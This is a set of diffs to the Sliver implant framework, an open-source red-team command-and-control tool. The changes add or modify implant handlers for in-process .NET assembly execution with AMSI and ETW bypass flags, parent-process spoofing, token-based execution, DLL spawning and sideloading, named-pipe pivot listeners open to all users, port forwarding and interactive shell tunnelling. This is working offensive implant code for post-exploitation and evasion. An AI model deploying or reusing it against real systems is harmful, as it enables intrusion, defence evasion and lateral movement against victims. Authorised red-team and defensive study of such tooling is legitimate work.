|
||||
// If there is an error, it is because the filter is bad, so it is not a match
|
||||
return nil
|
||||
}
|
||||
matchingFiles = append(matchingFiles, file)
|
||||
} else {
|
||||
matchingFiles = append(matchingFiles, file)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
for _, file := range matchingFiles {
|
||||
fi, err := os.Stat(file)
|
||||
if err != nil {
|
||||
// Cannot get info on the file, so skip it
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
|
||||
filepath.Walk(path, func(file string, fi os.FileInfo, err error) error {
|
||||
fileName := standarizeArchiveFileName(file)
|
||||
|
||||
// If the file is a SymLink replace fileInfo and path with the symlink destination.
|
||||
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
|
||||
file, err = filepath.EvalSymlinks(file)
|
||||
if err != nil {
|
||||
return err
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
|
||||
fi, err = os.Lstat(file)
|
||||
if err != nil {
|
||||
return err
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
header, err := tar.FileInfoHeader(fi, file)
|
||||
if err != nil {
|
||||
return err
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
// Keep the symlink file path for the header name.
|
||||
header.Name = filepath.ToSlash(fileName)
|
||||
if err := tarWriter.WriteHeader(header); err != nil {
|
||||
return err
|
||||
}
|
||||
// Check that we can open the file before we try to write it to the archive
|
||||
if !fi.IsDir() {
|
||||
data, err := os.Open(file)
|
||||
if err != nil {
|
||||
return err
|
||||
// Skip this file and do not write it to the archive.
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
if err := tarWriter.WriteHeader(header); err != nil {
|
||||
unreadableFiles += 1
|
||||
data.Close()
|
||||
continue
|
||||
}
|
||||
if _, err := io.Copy(tarWriter, data); err != nil {
|
||||
return err
|
||||
unreadableFiles += 1
|
||||
data.Close()
|
||||
continue
|
||||
}
|
||||
data.Close()
|
||||
readFiles += 1
|
||||
} else {
|
||||
if err := tarWriter.WriteHeader(header); err != nil {
|
||||
unreadableFiles += 1
|
||||
continue
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
if err := tarWriter.Close(); err != nil {
|
||||
return err
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
if err := zipWriter.Close(); err != nil {
|
||||
return err
|
||||
return readFiles, unreadableFiles, err
|
||||
}
|
||||
return nil
|
||||
return readFiles, unreadableFiles, nil
|
||||
}
|
||||
@@ -36,6 +36,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/registry"
|
||||
"github.com/bishopfox/sliver/implant/sliver/service"
|
||||
"github.com/bishopfox/sliver/implant/sliver/spoof"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -48,24 +49,25 @@ var (
|
||||
windowsHandlers = map[uint32]RPCHandler{
|
||||
|
||||
// Windows Only
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgProcessDumpReq: dumpHandler,
|
||||
sliverpb.MsgImpersonateReq: impersonateHandler,
|
||||
sliverpb.MsgRevToSelfReq: revToSelfHandler,
|
||||
sliverpb.MsgRunAsReq: runAsHandler,
|
||||
sliverpb.MsgInvokeGetSystemReq: getsystemHandler,
|
||||
sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
|
||||
sliverpb.MsgInvokeMigrateReq: migrateHandler,
|
||||
sliverpb.MsgSpawnDllReq: spawnDllHandler,
|
||||
sliverpb.MsgStartServiceReq: startService,
|
||||
sliverpb.MsgStopServiceReq: stopService,
|
||||
sliverpb.MsgRemoveServiceReq: removeService,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgExecuteTokenReq: executeTokenHandler,
|
||||
sliverpb.MsgGetPrivsReq: getPrivsHandler,
|
||||
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgProcessDumpReq: dumpHandler,
|
||||
sliverpb.MsgImpersonateReq: impersonateHandler,
|
||||
sliverpb.MsgRevToSelfReq: revToSelfHandler,
|
||||
sliverpb.MsgRunAsReq: runAsHandler,
|
||||
sliverpb.MsgInvokeGetSystemReq: getsystemHandler,
|
||||
sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
|
||||
sliverpb.MsgInvokeInProcExecuteAssemblyReq: inProcExecuteAssemblyHandler,
|
||||
sliverpb.MsgInvokeMigrateReq: migrateHandler,
|
||||
sliverpb.MsgSpawnDllReq: spawnDllHandler,
|
||||
sliverpb.MsgStartServiceReq: startService,
|
||||
sliverpb.MsgStopServiceReq: stopService,
|
||||
sliverpb.MsgRemoveServiceReq: removeService,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
|
||||
sliverpb.MsgGetPrivsReq: getPrivsHandler,
|
||||
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
|
||||
|
||||
// Platform specific
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
@@ -225,7 +227,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
output, err := taskrunner.ExecuteAssembly(execReq.Data, execReq.Process)
|
||||
output, err := taskrunner.ExecuteAssembly(execReq.Data, execReq.Process, execReq.ProcessArgs, execReq.PPid)
|
||||
execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
|
||||
if err != nil {
|
||||
execAsm.Response = &commonpb.Response{
|
||||
@@ -237,7 +239,27 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
}
|
||||
|
||||
func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
func inProcExecuteAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
execReq := &sliverpb.InvokeInProcExecuteAssemblyReq{}
|
||||
err := proto.Unmarshal(data, execReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
output, err := taskrunner.InProcExecuteAssembly(execReq.Data, execReq.Arguments, execReq.Runtime, execReq.AmsiBypass, execReq.EtwBypass)
|
||||
execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
|
||||
if err != nil {
|
||||
execAsm.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execAsm)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
var (
|
||||
err error
|
||||
stdErr io.Writer
|
||||
@@ -245,7 +267,7 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
errWriter *bufio.Writer
|
||||
outWriter *bufio.Writer
|
||||
)
|
||||
execReq := &sliverpb.ExecuteReq{}
|
||||
execReq := &sliverpb.ExecuteWindowsReq{}
|
||||
err = proto.Unmarshal(data, execReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -258,8 +280,17 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
|
||||
cmd := exec.Command(execReq.Path, execReq.Args...)
|
||||
|
||||
// Execute with current token
|
||||
cmd.SysProcAttr = &windows.SysProcAttr{
|
||||
Token: syscall.Token(priv.CurrentToken),
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{}
|
||||
if execReq.UseToken {
|
||||
cmd.SysProcAttr.Token = syscall.Token(priv.CurrentToken)
|
||||
}
|
||||
if execReq.PPid != 0 {
|
||||
err := spoof.SpoofParent(execReq.PPid, cmd)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not spoof parent PID: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
|
||||
if execReq.Output {
|
||||
@@ -374,7 +405,7 @@ func spawnDllHandler(data []byte, resp RPCResponse) {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("ProcName: %s\tOffset:%x\tArgs:%s\n", spawnReq.GetProcessName(), spawnReq.GetOffset(), spawnReq.GetArgs())
|
||||
//{{end}}
|
||||
result, err := taskrunner.SpawnDll(spawnReq.GetProcessName(), spawnReq.GetData(), spawnReq.GetOffset(), spawnReq.GetArgs(), spawnReq.Kill)
|
||||
result, err := taskrunner.SpawnDll(spawnReq.GetProcessName(), spawnReq.GetProcessArgs(), spawnReq.GetPPid(), spawnReq.GetData(), spawnReq.GetOffset(), spawnReq.GetArgs(), spawnReq.Kill)
|
||||
spawnResp := &sliverpb.SpawnDll{Result: result}
|
||||
if err != nil {
|
||||
spawnResp.Response = &commonpb.Response{
|
||||
|
||||
@@ -70,7 +70,7 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
|
||||
}
|
||||
|
||||
if createListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
|
||||
listener, err := createListener(req.BindAddress, connection.Send)
|
||||
listener, err := createListener(req.BindAddress, connection.Send, req.Options...)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
|
||||
@@ -121,7 +121,7 @@ func sideloadHandler(data []byte, resp RPCResponse) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
result, err := taskrunner.Sideload(sideloadReq.GetProcessName(), sideloadReq.GetData(), sideloadReq.GetArgs(), sideloadReq.Kill)
|
||||
result, err := taskrunner.Sideload(sideloadReq.GetProcessName(), sideloadReq.GetProcessArgs(), sideloadReq.GetPPid(), sideloadReq.GetData(), sideloadReq.GetArgs(), sideloadReq.Kill)
|
||||
errStr := ""
|
||||
if err != nil {
|
||||
errStr = err.Error()
|
||||
|
||||
@@ -55,6 +55,7 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Architecture: proc.Architecture(),
|
||||
}
|
||||
p.CmdLine = proc.(*ps.DarwinProcess).CmdLine()
|
||||
psList.Processes = append(psList.Processes, p)
|
||||
|
||||
@@ -55,6 +55,7 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Architecture: proc.Architecture(),
|
||||
}
|
||||
p.CmdLine = proc.(*ps.UnixProcess).CmdLine()
|
||||
psList.Processes = append(psList.Processes, p)
|
||||
|
||||
@@ -55,6 +55,7 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Architecture: proc.Architecture(),
|
||||
}
|
||||
p.CmdLine = proc.(*ps.WindowsProcess).CmdLine()
|
||||
p.SessionID = int32(proc.(*ps.WindowsProcess).SessionID())
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package tunnel_handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -22,8 +40,7 @@ func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Conn
|
||||
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
|
||||
// {{end}}
|
||||
connection.RemoveTunnel(tunnel.ID)
|
||||
tunnel.Reader.Close()
|
||||
tunnel.Writer.Close()
|
||||
tunnel.Close() // Call tunnel.Close instead of individually closing each Reader/Writer here
|
||||
tunnelDataCache.DeleteTun(tunnel.ID)
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package tunnel_handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"sync"
|
||||
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package tunnel_handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package tunnel_handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -13,6 +31,7 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
@@ -24,6 +43,12 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
|
||||
// {{end}}
|
||||
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
|
||||
Response: &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
},
|
||||
})
|
||||
reportError(envelope, connection, portfwdResp)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -43,6 +68,12 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
|
||||
log.Printf("[portfwd] Failed to dial remote address %s", err)
|
||||
// {{end}}
|
||||
cancelContext()
|
||||
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
|
||||
Response: &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
},
|
||||
})
|
||||
reportError(envelope, connection, portfwdResp)
|
||||
return
|
||||
}
|
||||
if conn, ok := dst.(*net.TCPConn); ok {
|
||||
@@ -101,7 +132,8 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
|
||||
tun: tunnel,
|
||||
conn: connection,
|
||||
}
|
||||
n, err := io.Copy(tWriter, tunnel.Reader)
|
||||
// portfwd only uses one reader, hence the tunnel.Readers[0]
|
||||
n, err := io.Copy(tWriter, tunnel.Readers[0])
|
||||
_ = n // avoid not used compiler error if debug mode is disabled
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package tunnel_handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -10,6 +28,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
@@ -22,6 +41,12 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
|
||||
// {{end}}
|
||||
shellResp, _ := proto.Marshal(&sliverpb.Shell{
|
||||
Response: &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
},
|
||||
})
|
||||
reportError(envelope, connection, shellResp)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -31,14 +56,26 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to get system shell")
|
||||
// {{end}}
|
||||
shellResp, _ := proto.Marshal(&sliverpb.Shell{
|
||||
Response: &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
},
|
||||
})
|
||||
reportError(envelope, connection, shellResp)
|
||||
return
|
||||
}
|
||||
|
||||
// At this point, comand is already started by StartInteractive
|
||||
// At this point, command is already started by StartInteractive
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Failed to spawn! err: %v", err)
|
||||
// {{end}}
|
||||
shellResp, _ := proto.Marshal(&sliverpb.Shell{
|
||||
Response: &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
},
|
||||
})
|
||||
reportError(envelope, connection, shellResp)
|
||||
return
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -48,8 +85,9 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
|
||||
|
||||
tunnel := transports.NewTunnel(
|
||||
shellReq.TunnelID,
|
||||
systemShell.Stdout,
|
||||
systemShell.Stdin,
|
||||
systemShell.Stdout,
|
||||
systemShell.Stderr,
|
||||
)
|
||||
connection.AddTunnel(tunnel)
|
||||
|
||||
@@ -81,35 +119,41 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
|
||||
}
|
||||
}
|
||||
|
||||
go func() {
|
||||
tWriter := tunnelWriter{
|
||||
tun: tunnel,
|
||||
conn: connection,
|
||||
for _, rc := range tunnel.Readers {
|
||||
if rc == nil {
|
||||
continue
|
||||
}
|
||||
_, err := io.Copy(tWriter, tunnel.Reader)
|
||||
go func(outErr io.ReadCloser) {
|
||||
tWriter := tunnelWriter{
|
||||
conn: connection,
|
||||
tun: tunnel,
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] tWriter: %v outErr: %v", tWriter, outErr)
|
||||
// {{end}}
|
||||
_, err := io.Copy(tWriter, outErr)
|
||||
|
||||
if err != nil {
|
||||
cleanup("io error", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
|
||||
if err != nil {
|
||||
cleanup("shell wait error", err)
|
||||
return
|
||||
}
|
||||
|
||||
if systemShell.Command.ProcessState != nil {
|
||||
if systemShell.Command.ProcessState.Exited() {
|
||||
cleanup("process terminated", nil)
|
||||
if err != nil {
|
||||
cleanup("io error", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if err == io.EOF {
|
||||
cleanup("EOF", err)
|
||||
return
|
||||
}
|
||||
}()
|
||||
err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
|
||||
if err != nil {
|
||||
cleanup("shell wait error", err)
|
||||
return
|
||||
}
|
||||
if systemShell.Command.ProcessState != nil {
|
||||
if systemShell.Command.ProcessState.Exited() {
|
||||
cleanup("process terminated", nil)
|
||||
return
|
||||
}
|
||||
}
|
||||
if err == io.EOF {
|
||||
cleanup("EOF", err)
|
||||
return
|
||||
}
|
||||
}(rc)
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package tunnel_handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package tunnel_handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -27,7 +45,7 @@ func (tw tunnelWriter) Write(data []byte) (int, error) {
|
||||
Data: data,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d, data: %s", n, tw.tun.WriteSequence(), tw.tun.ReadSequence(), data)
|
||||
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
|
||||
// {{end}}
|
||||
tw.tun.IncWriteSequence() // Increment write sequence
|
||||
tw.conn.Send <- &sliverpb.Envelope{
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
package tunnel_handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func reportError(envelope *sliverpb.Envelope, connection *transports.Connection, data []byte) {
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Data: data,
|
||||
ID: envelope.ID,
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,3 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package hostuuid
|
||||
|
||||
/*
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build 386 || amd64 || arm
|
||||
|
||||
package limits
|
||||
|
||||
/*
|
||||
|
||||
@@ -31,17 +31,25 @@ import (
|
||||
"github.com/lesnuages/go-winio"
|
||||
)
|
||||
|
||||
const PipeAllowAllAccess = 0
|
||||
|
||||
var (
|
||||
namedpipePivotReadDeadline = 10 * time.Second
|
||||
namedpipePivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// CreateNamedPipePivotListener - Starts a named pipe listener
|
||||
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope, opts ...bool) (*PivotListener, error) {
|
||||
fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
|
||||
sd := ""
|
||||
if len(opts) > 0 {
|
||||
if opts[PipeAllowAllAccess] {
|
||||
sd = "D:(A;;0x1f019f;;;WD)" // open to all
|
||||
}
|
||||
}
|
||||
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
|
||||
//SecurityDescriptor: "",
|
||||
RemoteClientMode: true,
|
||||
SecurityDescriptor: sd,
|
||||
RemoteClientMode: true,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Listening on named pipe %s", fullName)
|
||||
@@ -56,6 +64,7 @@ func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope)
|
||||
PivotConnections: &sync.Map{},
|
||||
BindAddress: fullName,
|
||||
Upstream: upstream,
|
||||
Options: opts,
|
||||
}
|
||||
go namedPipeAcceptConnections(pivotLn)
|
||||
return pivotLn, nil
|
||||
|
||||
@@ -72,7 +72,7 @@ func generatePeerID() int64 {
|
||||
}
|
||||
|
||||
// CreateListener - Generic interface to a start listener function
|
||||
type CreateListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
|
||||
type CreateListener func(string, chan<- *pb.Envelope, ...bool) (*PivotListener, error)
|
||||
|
||||
// GetListeners - Get a list of active listeners
|
||||
func GetListeners() []*pb.PivotListener {
|
||||
@@ -106,7 +106,7 @@ func RestartAllListeners(send chan<- *pb.Envelope) {
|
||||
stoppedPivotListeners.Range(func(key, value interface{}) bool {
|
||||
stoppedListener := value.(*PivotListener)
|
||||
if createListener, ok := SupportedPivotListeners[stoppedListener.Type]; ok {
|
||||
listener, err := createListener(stoppedListener.BindAddress, send)
|
||||
listener, err := createListener(stoppedListener.BindAddress, send, stoppedListener.Options...)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] failed to restart listener: %s", err)
|
||||
@@ -208,6 +208,7 @@ type PivotListener struct {
|
||||
PivotConnections *sync.Map // PeerID (int64) -> NetConnPivot
|
||||
BindAddress string
|
||||
Upstream chan<- *pb.Envelope
|
||||
Options []bool
|
||||
}
|
||||
|
||||
// ToProtobuf - Get the protobuf version of the pivot listener
|
||||
@@ -457,8 +458,13 @@ func (p *NetConnPivot) write(message []byte) error {
|
||||
}
|
||||
|
||||
total := 0
|
||||
chunk := 1024
|
||||
for total < len(message) {
|
||||
n, err = p.conn.Write(message[total:])
|
||||
if total+chunk <= len(message) {
|
||||
n, err = p.conn.Write(message[total : total+chunk])
|
||||
} else {
|
||||
n, err = p.conn.Write(message[total:])
|
||||
}
|
||||
total += n
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -467,6 +473,7 @@ func (p *NetConnPivot) write(message []byte) error {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -36,7 +36,7 @@ var (
|
||||
)
|
||||
|
||||
// CreateTCPPivotListener - Start a TCP listener
|
||||
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope, opts ...bool) (*PivotListener, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting TCP pivot listener on %s", address)
|
||||
// {{end}}
|
||||
|
